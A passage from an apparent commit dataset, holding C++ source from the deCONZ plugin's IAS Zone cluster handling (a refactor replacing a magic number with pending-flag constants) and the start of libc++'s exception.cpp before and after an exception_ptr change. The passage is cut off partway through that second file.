}\n\n            item2 = sensor->item(RStateTampered);\n            if (item2)\n            {\n                bool tamper = (zoneStatus & STATUS_TAMPER) ? true : false;\n                item2->setValue(tamper);\n                enqueueEvent(Event(RSensors, RStateTampered, sensor->id(), item2));\n            }\n\n            deCONZ::NumericUnion num = {0};\n            num.u16 = zoneStatus;\n            sensor->setZclValue(NodeValue::UpdateByZclReport, ind.srcEndpoint(), IAS_ZONE_CLUSTER_ID, IAS_ZONE_CLUSTER_ATTR_ZONE_STATUS_ID, num);\n\n            item2 = sensor->item(RConfigReachable);\n            if (item2 && !item2->toBool())\n            {\n                item2->setValue(true);\n                enqueueEvent(Event(RSensors, RConfigReachable, sensor->id(), item2));\n            }\n\n            if (alarm && item->descriptor().suffix == RStatePresence)\n            {   \/\/ prepare to automatically set presence to false\n                NodeValue &val = sensor->getZclValue(IAS_ZONE_CLUSTER_ID, IAS_ZONE_CLUSTER_ATTR_ZONE_STATUS_ID);\n\n                item2 = sensor->item(RConfigDuration);\n                if (val.maxInterval > 0)\n                {\n                    sensor->durationDue = item->lastSet().addSecs(val.maxInterval);\n                }\n                else if (item2 && item2->toNumber() > 0)\n                {\n                    sensor->durationDue = item->lastSet().addSecs(item2->toNumber());\n                }\n            }\n        }\n\n    }\n    else if (zclFrame.commandId() == CMD_ZONE_ENROLL_REQUEST && zclFrame.isClusterCommand())\n    {\n        quint16 zoneType;\n        quint16 manufacturer;\n\n        stream >> zoneType;\n        stream >> manufacturer;\n\n        DBG_Printf(DBG_INFO_L2, \"[IAS] Zone Enroll Request, zone type: 0x%04X, manufacturer: 0x%04X\\n\", zoneType, manufacturer);\n\n        sendIasZoneEnrollResponse(ind, zclFrame);\n\n        Sensor *sensor = getSensorNodeForAddressAndEndpoint(ind.srcAddress(), ind.srcEndpoint());\n        ResourceItem *item = sensor ? sensor->item(RConfigPending) : nullptr;\n\n        if (sensor && item)\n        {\n            item->setValue(item->toNumber() & ~R_PENDING_ENROLL_RESPONSE);\n        }\n    }\n}\n\n\/*! Sends IAS Zone enroll response to IAS Zone server.\n    \\param ind the APS level data indication containing the ZCL packet\n    \\param zclFrame the actual ZCL frame which holds the IAS Zone enroll request\n *\/\nvoid DeRestPluginPrivate::sendIasZoneEnrollResponse(const deCONZ::ApsDataIndication &ind, deCONZ::ZclFrame &zclFrame)\n{\n    deCONZ::ApsDataRequest req;\n    deCONZ::ZclFrame outZclFrame;\n\n    req.setProfileId(ind.profileId());\n    req.setClusterId(ind.clusterId());\n    req.setDstAddressMode(ind.srcAddressMode());\n    req.dstAddress() = ind.srcAddress();\n    req.setDstEndpoint(ind.srcEndpoint());\n    req.setSrcEndpoint(endpoint());\n\n    outZclFrame.setSequenceNumber(zclFrame.sequenceNumber());\n    outZclFrame.setCommandId(CMD_ZONE_ENROLL_RESPONSE);\n\n    outZclFrame.setFrameControl(deCONZ::ZclFCClusterCommand |\n                             deCONZ::ZclFCDirectionClientToServer |\n                             deCONZ::ZclFCDisableDefaultResponse);\n\n    { \/\/ payload\n        QDataStream stream(&outZclFrame.payload(), QIODevice::WriteOnly);\n        stream.setByteOrder(QDataStream::LittleEndian);\n\n        quint8 code = 0x00; \/\/ success\n        quint8 zoneId = 100;\n\n        stream << code;\n        stream << zoneId;\n    }\n\n    { \/\/ ZCL frame\n        QDataStream stream(&req.asdu(), QIODevice::WriteOnly);\n        stream.setByteOrder(QDataStream::LittleEndian);\n        outZclFrame.writeToStream(stream);\n    }\n\n    if (apsCtrl && apsCtrl->apsdeDataRequest(req) != deCONZ::Success)\n    {\n        DBG_Printf(DBG_INFO_L2, \"[IAS] Zone failed to send enroll reponse\\n\");\n    }\n}\n\n\/*! Check if a sensor is already enrolled\n    \\param Sensor - sensor containing the IAS zone cluster\n *\/\nvoid DeRestPluginPrivate::checkIasEnrollmentStatus(Sensor *sensor)\n{\n    if (sensor->fingerPrint().hasInCluster(IAS_ZONE_CLUSTER_ID))\n    {\n        NodeValue val = sensor->getZclValue(IAS_ZONE_CLUSTER_ID, 0x0000);\n        deCONZ::NumericUnion iasZoneStatus = val.value;\n        \n        ResourceItem *item = nullptr;\n        item = sensor->item(RConfigPending);\n        \n        if(item && item->toNumber() == 0 && iasZoneStatus.u8 == 0)\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Sensor NOT enrolled\\n\");\n            item->setValue(item->toNumber() | R_PENDING_WRITE_CIE_ADDRESS | R_PENDING_ENROLL_RESPONSE);\n            std::vector<uint16_t> attributes;\n            attributes.push_back(0x0000); \/\/ IAS zone status\n            attributes.push_back(0x0010); \/\/ IAS CIE address\n            if(readAttributes(sensor, sensor->fingerPrint().endpoint, IAS_ZONE_CLUSTER_ID, attributes))\n            {\n                queryTime = queryTime.addSecs(1);\n            }\n        }\n        else if(item &&\n                (item->toNumber() & R_PENDING_WRITE_CIE_ADDRESS) &&\n                (item->toNumber() & R_PENDING_ENROLL_RESPONSE) &&\n                iasZoneStatus.u8 == 0)\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Sensor enrollment pending\\n\");\n        }\n        else if(iasZoneStatus.u8 == 1)\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Sensor enrolled\\n\");\n        }\n        else if(item && item->toNumber() == 48 && iasZoneStatus.u8 == 1)        \/\/ Sanity check\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Sensor reporting enrolled. Clearing config pending...\\n\");\n            item->setValue(item->toNumber() & ~R_PENDING_WRITE_CIE_ADDRESS);\n            item->setValue(item->toNumber() & ~R_PENDING_ENROLL_RESPONSE);\n        }\n        else\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Enrolling...\\n\");\n        }\n    }\n}\n\n\/*! Write IAS CIE address attribute for a node.\n    \\param Sensor - sensor containing the IAS zone cluster\n *\/\nvoid DeRestPluginPrivate::writeIasCieAddress(Sensor *sensor)\n{\n    ResourceItem *item = nullptr;\n    item = sensor->item(RConfigPending);\n    \n    if (sensor->fingerPrint().hasInCluster(IAS_ZONE_CLUSTER_ID) && item && (item->toNumber() & R_PENDING_WRITE_CIE_ADDRESS))\n    {\n        \/\/ write CIE address needed for some IAS Zone devices\n        const quint64 iasCieAddress = apsCtrl->getParameter(deCONZ::ParamMacAddress);\n        deCONZ::ZclAttribute attr(0x0010, deCONZ::ZclIeeeAddress, QLatin1String(\"CIE address\"), deCONZ::ZclReadWrite, false);\n        attr.setValue(iasCieAddress);\n        \n        DBG_Printf(DBG_INFO_L2, \"[IAS] Write IAS CIE address for 0x%016llx\\n\", sensor->address().ext());\n\n        if (writeAttribute(sensor, sensor->fingerPrint().endpoint, IAS_ZONE_CLUSTER_ID, attr, 0))\n        {\n            \/\/ mark done\n            item->setValue(item->toNumber() & ~R_PENDING_WRITE_CIE_ADDRESS);\n        }\n    }\n}<commit_msg>Replace IAS pending flags magic number with constants<commit_after>\/*\n * Copyright (c) 2017-2019 dresden elektronik ingenieurtechnik gmbh.\n * All rights reserved.\n *\n * The software in this package is published under the terms of the BSD\n * style license a copy of which has been included with this distribution in\n * the LICENSE.txt file.\n *\n *\/\n\n#include <QString>\n#include <QVariantMap>\n#include \"de_web_plugin.h\"\n#include \"de_web_plugin_private.h\"\n#include \"json.h\"\n\n\/\/ server send\n#define CMD_STATUS_CHANGE_NOTIFICATION 0x00\n#define CMD_ZONE_ENROLL_REQUEST 0x01\n\/\/ server receive\n#define CMD_ZONE_ENROLL_RESPONSE 0x00\n\n\/\/ Zone status flags\n#define STATUS_ALARM1         0x0001\n#define STATUS_ALARM2         0x0002\n#define STATUS_TAMPER         0x0004\n#define STATUS_BATTERY        0x0008\n#define STATUS_SUPERVISION    0x0010\n#define STATUS_RESTORE_REP    0x0020\n#define STATUS_TROUBLE        0x0040\n#define STATUS_AC_MAINS       0x0080\n#define STATUS_TEST           0x0100\n#define STATUS_BATTERY_DEFECT 0x0200\n\n\/*! Handle packets related to the ZCL IAS Zone cluster.\n    \\param ind the APS level data indication containing the ZCL packet\n    \\param zclFrame the actual ZCL frame which holds the IAS zone server command\n *\/\nvoid DeRestPluginPrivate::handleIasZoneClusterIndication(const deCONZ::ApsDataIndication &ind, deCONZ::ZclFrame &zclFrame)\n{\n    Q_UNUSED(ind);\n\n    QDataStream stream(zclFrame.payload());\n    stream.setByteOrder(QDataStream::LittleEndian);\n\n    if (!(zclFrame.frameControl() & deCONZ::ZclFCDirectionServerToClient))\n    {\n        return;\n    }\n\n    if (zclFrame.isProfileWideCommand() && zclFrame.commandId() == deCONZ::ZclReadAttributesResponseId)\n    {\n        \/\/ during setup the IAS Zone type will be read\n        \/\/ start to proceed discovery here\n        if (searchSensorsState == SearchSensorsActive)\n        {\n            if (!fastProbeTimer->isActive())\n            {\n                fastProbeTimer->start(5);\n            }\n        }\n    }\n\n    quint16 attrId = 0;\n    quint16 zoneStatus = 0; \/\/ might be reported or received via CMD_STATUS_CHANGE_NOTIFICATION\n\n    if (zclFrame.isProfileWideCommand() && zclFrame.commandId() == deCONZ::ZclReportAttributesId)\n    {\n        quint16 a;\n        quint8 dataType;\n\n        stream >> a;\n        stream >> dataType;\n\n        if (a == IAS_ZONE_CLUSTER_ATTR_ZONE_STATUS_ID && dataType == deCONZ::Zcl16BitBitMap)\n        {\n            attrId = a; \/\/ mark as reported\n            stream >> zoneStatus;\n        }\n\n        if (stream.status() == QDataStream::ReadPastEnd)\n        {\n            return; \/\/ sanity\n        }\n    }\n\n    if ((zclFrame.commandId() == CMD_STATUS_CHANGE_NOTIFICATION && zclFrame.isClusterCommand()) || attrId == IAS_ZONE_CLUSTER_ATTR_ZONE_STATUS_ID)\n    {\n\n        if (zclFrame.commandId() == CMD_STATUS_CHANGE_NOTIFICATION)\n        {\n            quint8 extendedStatus;\n            quint8 zoneId;\n            quint16 delay;\n            stream >> zoneStatus;\n            stream >> extendedStatus; \/\/ reserved, set to 0\n            stream >> zoneId;\n            stream >> delay;\n            DBG_Printf(DBG_ZCL, \"IAS Zone Status Change, status: 0x%04X, zoneId: %u, delay: %u\\n\", zoneStatus, zoneId, delay);\n        }\n\n        Sensor *sensor = nullptr;\n\n        for (Sensor &s : sensors)\n        {\n            if (s.deletedState() != Sensor::StateNormal)\n            {\n                continue;\n            }\n\n            if (!s.fingerPrint().hasInCluster(IAS_ZONE_CLUSTER_ID) && !s.fingerPrint().hasInCluster(IAS_WD_CLUSTER_ID))\n            {\n                continue;\n            }\n\n            if (s.type() != QLatin1String(\"ZHAAlarm\") &&\n                s.type() != QLatin1String(\"ZHACarbonMonoxide\") &&\n                s.type() != QLatin1String(\"ZHAFire\") &&\n                s.type() != QLatin1String(\"ZHAOpenClose\") &&\n                s.type() != QLatin1String(\"ZHAPresence\") &&\n                s.type() != QLatin1String(\"ZHAVibration\") &&\n                s.type() != QLatin1String(\"ZHAWater\"))\n            {\n                continue;\n            }\n\n            if ((ind.srcAddress().hasExt() && s.address().ext() == ind.srcAddress().ext()) ||\n                (ind.srcAddress().hasNwk() && s.address().nwk() == ind.srcAddress().nwk()))\n            {\n                sensor = &s;\n                break;\n            }\n        }\n\n        if (!sensor)\n        {\n            return;\n        }\n\n        const char *attr = nullptr;\n        if (sensor->type() == QLatin1String(\"ZHAAlarm\"))\n        {\n            attr = RStateAlarm;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHACarbonMonoxide\"))\n        {\n            attr = RStateCarbonMonoxide;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAFire\"))\n        {\n            attr = RStateFire;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAOpenClose\"))\n        {\n            attr = RStateOpen;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAPresence\"))\n        {\n            attr = RStatePresence;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAVibration\"))\n        {\n            attr = RStateVibration;\n        }\n        else if (sensor->type() == QLatin1String(\"ZHAWater\"))\n        {\n            attr = RStateWater;\n        }\n\n        ResourceItem *item = nullptr;\n        if (attr)\n        {\n            item = sensor->item(attr);\n        }\n\n        if (item)\n        {\n            sensor->rx();\n            sensor->incrementRxCounter();\n            bool alarm = (zoneStatus & (STATUS_ALARM1 | STATUS_ALARM2)) ? true : false;\n            item->setValue(alarm);\n            sensor->updateStateTimestamp();\n            sensor->setNeedSaveDatabase(true);\n            updateSensorEtag(sensor);\n            enqueueEvent(Event(RSensors, item->descriptor().suffix, sensor->id(), item));\n            enqueueEvent(Event(RSensors, RStateLastUpdated, sensor->id()));\n\n            ResourceItem *item2 = sensor->item(RStateLowBattery);\n            if (item2)\n            {\n                bool battery = (zoneStatus & STATUS_BATTERY) ? true : false;\n                item2->setValue(battery);\n                enqueueEvent(Event(RSensors, RStateLowBattery, sensor->id(), item2));\n            }\n\n            item2 = sensor->item(RStateTampered);\n            if (item2)\n            {\n                bool tamper = (zoneStatus & STATUS_TAMPER) ? true : false;\n                item2->setValue(tamper);\n                enqueueEvent(Event(RSensors, RStateTampered, sensor->id(), item2));\n            }\n\n            deCONZ::NumericUnion num = {0};\n            num.u16 = zoneStatus;\n            sensor->setZclValue(NodeValue::UpdateByZclReport, ind.srcEndpoint(), IAS_ZONE_CLUSTER_ID, IAS_ZONE_CLUSTER_ATTR_ZONE_STATUS_ID, num);\n\n            item2 = sensor->item(RConfigReachable);\n            if (item2 && !item2->toBool())\n            {\n                item2->setValue(true);\n                enqueueEvent(Event(RSensors, RConfigReachable, sensor->id(), item2));\n            }\n\n            if (alarm && item->descriptor().suffix == RStatePresence)\n            {   \/\/ prepare to automatically set presence to false\n                NodeValue &val = sensor->getZclValue(IAS_ZONE_CLUSTER_ID, IAS_ZONE_CLUSTER_ATTR_ZONE_STATUS_ID);\n\n                item2 = sensor->item(RConfigDuration);\n                if (val.maxInterval > 0)\n                {\n                    sensor->durationDue = item->lastSet().addSecs(val.maxInterval);\n                }\n                else if (item2 && item2->toNumber() > 0)\n                {\n                    sensor->durationDue = item->lastSet().addSecs(item2->toNumber());\n                }\n            }\n        }\n\n    }\n    else if (zclFrame.commandId() == CMD_ZONE_ENROLL_REQUEST && zclFrame.isClusterCommand())\n    {\n        quint16 zoneType;\n        quint16 manufacturer;\n\n        stream >> zoneType;\n        stream >> manufacturer;\n\n        DBG_Printf(DBG_INFO_L2, \"[IAS] Zone Enroll Request, zone type: 0x%04X, manufacturer: 0x%04X\\n\", zoneType, manufacturer);\n\n        sendIasZoneEnrollResponse(ind, zclFrame);\n\n        Sensor *sensor = getSensorNodeForAddressAndEndpoint(ind.srcAddress(), ind.srcEndpoint());\n        ResourceItem *item = sensor ? sensor->item(RConfigPending) : nullptr;\n\n        if (sensor && item)\n        {\n            item->setValue(item->toNumber() & ~R_PENDING_ENROLL_RESPONSE);\n        }\n    }\n}\n\n\/*! Sends IAS Zone enroll response to IAS Zone server.\n    \\param ind the APS level data indication containing the ZCL packet\n    \\param zclFrame the actual ZCL frame which holds the IAS Zone enroll request\n *\/\nvoid DeRestPluginPrivate::sendIasZoneEnrollResponse(const deCONZ::ApsDataIndication &ind, deCONZ::ZclFrame &zclFrame)\n{\n    deCONZ::ApsDataRequest req;\n    deCONZ::ZclFrame outZclFrame;\n\n    req.setProfileId(ind.profileId());\n    req.setClusterId(ind.clusterId());\n    req.setDstAddressMode(ind.srcAddressMode());\n    req.dstAddress() = ind.srcAddress();\n    req.setDstEndpoint(ind.srcEndpoint());\n    req.setSrcEndpoint(endpoint());\n\n    outZclFrame.setSequenceNumber(zclFrame.sequenceNumber());\n    outZclFrame.setCommandId(CMD_ZONE_ENROLL_RESPONSE);\n\n    outZclFrame.setFrameControl(deCONZ::ZclFCClusterCommand |\n                             deCONZ::ZclFCDirectionClientToServer |\n                             deCONZ::ZclFCDisableDefaultResponse);\n\n    { \/\/ payload\n        QDataStream stream(&outZclFrame.payload(), QIODevice::WriteOnly);\n        stream.setByteOrder(QDataStream::LittleEndian);\n\n        quint8 code = 0x00; \/\/ success\n        quint8 zoneId = 100;\n\n        stream << code;\n        stream << zoneId;\n    }\n\n    { \/\/ ZCL frame\n        QDataStream stream(&req.asdu(), QIODevice::WriteOnly);\n        stream.setByteOrder(QDataStream::LittleEndian);\n        outZclFrame.writeToStream(stream);\n    }\n\n    if (apsCtrl && apsCtrl->apsdeDataRequest(req) != deCONZ::Success)\n    {\n        DBG_Printf(DBG_INFO_L2, \"[IAS] Zone failed to send enroll reponse\\n\");\n    }\n}\n\n\/*! Check if a sensor is already enrolled\n    \\param Sensor - sensor containing the IAS zone cluster\n *\/\nvoid DeRestPluginPrivate::checkIasEnrollmentStatus(Sensor *sensor)\n{\n    if (sensor->fingerPrint().hasInCluster(IAS_ZONE_CLUSTER_ID))\n    {\n        NodeValue val = sensor->getZclValue(IAS_ZONE_CLUSTER_ID, 0x0000);\n        deCONZ::NumericUnion iasZoneStatus = val.value;\n        \n        ResourceItem *item = nullptr;\n        item = sensor->item(RConfigPending);\n        \n        if (item && item->toNumber() == 0 && iasZoneStatus.u8 == 0)\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Sensor NOT enrolled\\n\");\n            item->setValue(item->toNumber() | R_PENDING_WRITE_CIE_ADDRESS | R_PENDING_ENROLL_RESPONSE);\n            std::vector<uint16_t> attributes;\n            attributes.push_back(0x0000); \/\/ IAS zone status\n            attributes.push_back(0x0010); \/\/ IAS CIE address\n            if (readAttributes(sensor, sensor->fingerPrint().endpoint, IAS_ZONE_CLUSTER_ID, attributes))\n            {\n                queryTime = queryTime.addSecs(1);\n            }\n        }\n        else if (item &&\n                (item->toNumber() & R_PENDING_WRITE_CIE_ADDRESS) &&\n                (item->toNumber() & R_PENDING_ENROLL_RESPONSE) &&\n                iasZoneStatus.u8 == 0)\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Sensor enrollment pending\\n\");\n        }\n        else if (iasZoneStatus.u8 == 1)\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Sensor enrolled\\n\");\n        }\n        else if (item && item->toNumber() == (R_PENDING_WRITE_CIE_ADDRESS | R_PENDING_ENROLL_RESPONSE) && iasZoneStatus.u8 == 1)        \/\/ Sanity check\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Sensor reporting enrolled. Clearing config pending...\\n\");\n            item->setValue(item->toNumber() & ~R_PENDING_WRITE_CIE_ADDRESS);\n            item->setValue(item->toNumber() & ~R_PENDING_ENROLL_RESPONSE);\n        }\n        else\n        {\n            DBG_Printf(DBG_INFO_L2, \"[IAS] Enrolling...\\n\");\n        }\n    }\n}\n\n\/*! Write IAS CIE address attribute for a node.\n    \\param Sensor - sensor containing the IAS zone cluster\n *\/\nvoid DeRestPluginPrivate::writeIasCieAddress(Sensor *sensor)\n{\n    ResourceItem *item = nullptr;\n    item = sensor->item(RConfigPending);\n    \n    if (sensor->fingerPrint().hasInCluster(IAS_ZONE_CLUSTER_ID) && item && (item->toNumber() & R_PENDING_WRITE_CIE_ADDRESS))\n    {\n        \/\/ write CIE address needed for some IAS Zone devices\n        const quint64 iasCieAddress = apsCtrl->getParameter(deCONZ::ParamMacAddress);\n        deCONZ::ZclAttribute attr(0x0010, deCONZ::ZclIeeeAddress, QLatin1String(\"CIE address\"), deCONZ::ZclReadWrite, false);\n        attr.setValue(iasCieAddress);\n        \n        DBG_Printf(DBG_INFO_L2, \"[IAS] Write IAS CIE address for 0x%016llx\\n\", sensor->address().ext());\n\n        if (writeAttribute(sensor, sensor->fingerPrint().endpoint, IAS_ZONE_CLUSTER_ID, attr, 0))\n        {\n            \/\/ mark done\n            item->setValue(item->toNumber() & ~R_PENDING_WRITE_CIE_ADDRESS);\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\n\n\/\/===------------------------ exception.cpp -------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"exception\"\n\n#ifndef __has_include\n#define __has_include(inc) 0\n#endif\n\n#ifdef __APPLE__\n  #include <cxxabi.h>\n\n  using namespace __cxxabiv1;\n  #define HAVE_DEPENDENT_EH_ABI 1\n  #ifndef _LIBCPPABI_VERSION\n    using namespace __cxxabiapple;\n    \/\/ On Darwin, there are two STL shared libraries and a lower level ABI\n    \/\/ shared libray.  The globals holding the current terminate handler and\n    \/\/ current unexpected handler are in the ABI library.\n    #define __terminate_handler  __cxxabiapple::__cxa_terminate_handler\n    #define __unexpected_handler __cxxabiapple::__cxa_unexpected_handler\n  #endif  \/\/ _LIBCPPABI_VERSION\n#elif defined(LIBCXXRT) || __has_include(<cxxabi.h>)\n  #include <cxxabi.h>\n  using namespace __cxxabiv1;\n  #if defined(LIBCXXRT) || defined(_LIBCPPABI_VERSION)\n    #define HAVE_DEPENDENT_EH_ABI 1\n  #endif\n#elif !defined(__GLIBCXX__) \/\/ __has_include(<cxxabi.h>)\n  static std::terminate_handler  __terminate_handler;\n  static std::unexpected_handler __unexpected_handler;\n#endif \/\/ __has_include(<cxxabi.h>)\n\n_LIBCPP_NORETURN\nstatic void _libcpp_abort(const char* msg)\n{\n    printf(\"%s\\n\", msg);\n    abort();\n}\n\nnamespace std\n{\n\n#if !defined(LIBCXXRT) && !defined(_LIBCPPABI_VERSION) && !defined(__GLIBCXX__)\n\n\/\/ libcxxrt provides implementations of these functions itself.\nunexpected_handler\nset_unexpected(unexpected_handler func) _NOEXCEPT\n{\n    return __sync_lock_test_and_set(&__unexpected_handler, func);\n}\n\nunexpected_handler\nget_unexpected() _NOEXCEPT\n{\n    return __sync_fetch_and_add(&__unexpected_handler, (unexpected_handler)0);\n}\n\n_LIBCPP_NORETURN\nvoid\nunexpected()\n{\n    (*get_unexpected())();\n    \/\/ unexpected handler should not return\n    terminate();\n}\n\nterminate_handler\nset_terminate(terminate_handler func) _NOEXCEPT\n{\n    return __sync_lock_test_and_set(&__terminate_handler, func);\n}\n\nterminate_handler\nget_terminate() _NOEXCEPT\n{\n    return __sync_fetch_and_add(&__terminate_handler, (terminate_handler)0);\n}\n\n#ifndef EMSCRIPTEN \/\/ We provide this in JS\n_LIBCPP_NORETURN\nvoid\nterminate() _NOEXCEPT\n{\n#ifndef _LIBCPP_NO_EXCEPTIONS\n    try\n    {\n#endif  \/\/ _LIBCPP_NO_EXCEPTIONS\n        (*get_terminate())();\n        \/\/ handler should not return\n        _libcpp_abort(\"terminate_handler unexpectedly returned\\n\");\n#ifndef _LIBCPP_NO_EXCEPTIONS\n    }\n    catch (...)\n    {\n        \/\/ handler should not throw exception\n        _libcpp_abort(\"terminate_handler unexpectedly threw an exception\\n\");\n    }\n#endif  \/\/ _LIBCPP_NO_EXCEPTIONS\n}\n#endif \/\/ !EMSCRIPTEN\n#endif \/\/ !defined(LIBCXXRT) && !defined(_LIBCPPABI_VERSION)\n\n#if !defined(LIBCXXRT) && !defined(__GLIBCXX__) && !defined(EMSCRIPTEN)\nbool uncaught_exception() _NOEXCEPT\n{\n#if defined(__APPLE__) || defined(_LIBCPPABI_VERSION)\n    \/\/ on Darwin, there is a helper function so __cxa_get_globals is private\n    return __cxa_uncaught_exception();\n#else  \/\/ __APPLE__\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"uncaught_exception not yet implemented\")\n#   else\n#       warning uncaught_exception not yet implemented\n#   endif\n    _libcpp_abort(\"uncaught_exception not yet implemented\\n\");\n#endif  \/\/ __APPLE__\n}\n\n\n#ifndef _LIBCPPABI_VERSION\n\nexception::~exception() _NOEXCEPT\n{\n}\n\nconst char* exception::what() const _NOEXCEPT\n{\n  return \"std::exception\";\n}\n\n#endif  \/\/ _LIBCPPABI_VERSION\n#endif \/\/LIBCXXRT\n#if !defined(_LIBCPPABI_VERSION) && !defined(__GLIBCXX__)\n\nbad_exception::~bad_exception() _NOEXCEPT\n{\n}\n\nconst char* bad_exception::what() const _NOEXCEPT\n{\n  return \"std::bad_exception\";\n}\n\n#endif\n\n\nexception_ptr::~exception_ptr() _NOEXCEPT\n{\n#if HAVE_DEPENDENT_EH_ABI\n    __cxa_decrement_exception_refcount(__ptr_);\n#else\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"exception_ptr not yet implemented\")\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n#endif  \/\/ __APPLE__\n}\n\nexception_ptr::exception_ptr(const exception_ptr& other) _NOEXCEPT\n    : __ptr_(other.__ptr_)\n{\n#if HAVE_DEPENDENT_EH_ABI\n    __cxa_increment_exception_refcount(__ptr_);\n#else\n\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"exception_ptr not yet implemented\")\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n\n#endif  \/\/ __APPLE__\n}\n\nexception_ptr& exception_ptr::operator=(const exception_ptr& other) _NOEXCEPT\n{\n#if HAVE_DEPENDENT_EH_ABI\n    if (__ptr_ != other.__ptr_)\n    {\n        __cxa_increment_exception_refcount(other.__ptr_);\n        __cxa_decrement_exception_refcount(__ptr_);\n        __ptr_ = other.__ptr_;\n    }\n    return *this;\n#else  \/\/ __APPLE__\n\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"exception_ptr not yet implemented\")\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n\n#endif  \/\/ __APPLE__\n}\n\nnested_exception::nested_exception() _NOEXCEPT\n    : __ptr_(current_exception())\n{\n}\n\n#if !defined(__GLIBCXX__)\n\nnested_exception::~nested_exception() _NOEXCEPT\n{\n}\n\n#endif\n\n_LIBCPP_NORETURN\nvoid\nnested_exception::rethrow_nested() const\n{\n    if (__ptr_ == nullptr)\n        terminate();\n    rethrow_exception(__ptr_);\n}\n\n\nexception_ptr current_exception() _NOEXCEPT\n{\n#if HAVE_DEPENDENT_EH_ABI\n    \/\/ be nicer if there was a constructor that took a ptr, then\n    \/\/ this whole function would be just:\n    \/\/    return exception_ptr(__cxa_current_primary_exception());\n    exception_ptr ptr;\n    ptr.__ptr_ = __cxa_current_primary_exception();\n    return ptr;\n#else  \/\/ __APPLE__\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING( \"exception_ptr not yet implemented\" )\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n#endif  \/\/ __APPLE__\n}\n\n_LIBCPP_NORETURN\nvoid rethrow_exception(exception_ptr p)\n{\n#if HAVE_DEPENDENT_EH_ABI\n    __cxa_rethrow_primary_exception(p.__ptr_);\n    \/\/ if p.__ptr_ is NULL, above returns so we terminate\n    terminate();\n#else  \/\/ __APPLE__\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"exception_ptr not yet implemented\")\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n#endif  \/\/ __APPLE__\n}\n} \/\/ std\n<commit_msg>Implement std::exception_ptr under libsupc++.<commit_after>\n\n\/\/===------------------------ exception.cpp -------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"exception\"\n#include \"new\"\n\n#ifndef __has_include\n#define __has_include(inc) 0\n#endif\n\n#ifdef __APPLE__\n  #include <cxxabi.h>\n\n  using namespace __cxxabiv1;\n  #define HAVE_DEPENDENT_EH_ABI 1\n  #ifndef _LIBCPPABI_VERSION\n    using namespace __cxxabiapple;\n    \/\/ On Darwin, there are two STL shared libraries and a lower level ABI\n    \/\/ shared libray.  The globals holding the current terminate handler and\n    \/\/ current unexpected handler are in the ABI library.\n    #define __terminate_handler  __cxxabiapple::__cxa_terminate_handler\n    #define __unexpected_handler __cxxabiapple::__cxa_unexpected_handler\n  #endif  \/\/ _LIBCPPABI_VERSION\n#elif defined(LIBCXXRT) || __has_include(<cxxabi.h>)\n  #include <cxxabi.h>\n  using namespace __cxxabiv1;\n  #if defined(LIBCXXRT) || defined(_LIBCPPABI_VERSION)\n    #define HAVE_DEPENDENT_EH_ABI 1\n  #endif\n#elif !defined(__GLIBCXX__) \/\/ __has_include(<cxxabi.h>)\n  static std::terminate_handler  __terminate_handler;\n  static std::unexpected_handler __unexpected_handler;\n#endif \/\/ __has_include(<cxxabi.h>)\n\n_LIBCPP_NORETURN\nstatic void _libcpp_abort(const char* msg)\n{\n    printf(\"%s\\n\", msg);\n    abort();\n}\n\nnamespace std\n{\n\n#if !defined(LIBCXXRT) && !defined(_LIBCPPABI_VERSION) && !defined(__GLIBCXX__)\n\n\/\/ libcxxrt provides implementations of these functions itself.\nunexpected_handler\nset_unexpected(unexpected_handler func) _NOEXCEPT\n{\n    return __sync_lock_test_and_set(&__unexpected_handler, func);\n}\n\nunexpected_handler\nget_unexpected() _NOEXCEPT\n{\n    return __sync_fetch_and_add(&__unexpected_handler, (unexpected_handler)0);\n}\n\n_LIBCPP_NORETURN\nvoid\nunexpected()\n{\n    (*get_unexpected())();\n    \/\/ unexpected handler should not return\n    terminate();\n}\n\nterminate_handler\nset_terminate(terminate_handler func) _NOEXCEPT\n{\n    return __sync_lock_test_and_set(&__terminate_handler, 